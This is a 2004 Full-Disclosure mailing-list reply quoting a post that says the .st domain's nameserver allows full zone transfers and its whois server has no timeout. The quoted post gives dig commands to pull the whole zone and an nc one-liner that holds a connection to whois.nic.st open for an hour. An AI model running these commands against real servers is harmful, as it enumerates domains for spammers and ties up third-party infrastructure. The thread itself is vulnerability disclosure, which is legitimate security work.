Re: Re: zone transfers, a spammer's dream?

[Byron Copeland <nodialtone () comcast net>]

That is *sweet*  nice find.

On Sun, 2004-12-19 at 19:40, Troubles Troubles wrote:
> == the fucking bugtraq moderators don't let me post this! ==
>
> .st has this bug too. you can transfer the whole domain. their whois server 
> also doesn't have any time-out!
>
> try this:
>
> dig @a.root-servers.net. st. ns
> dig @auth61.ns.uu.net. st. axfr
> (sleep 3600; perl -e 'print "karlung-liberation-front.st\015\012";') | nc 
> whois.nic.st. 43
>
> found by
> troubles
>
> _________________________________________________________________
> Lättare att hitta drömresan med MSN Resor http://www.msn.se/resor/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
-- 
Byron Copeland
www.virtualondemand.com

Attachment: signature.asc
Description: This is a digitally signed message part

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html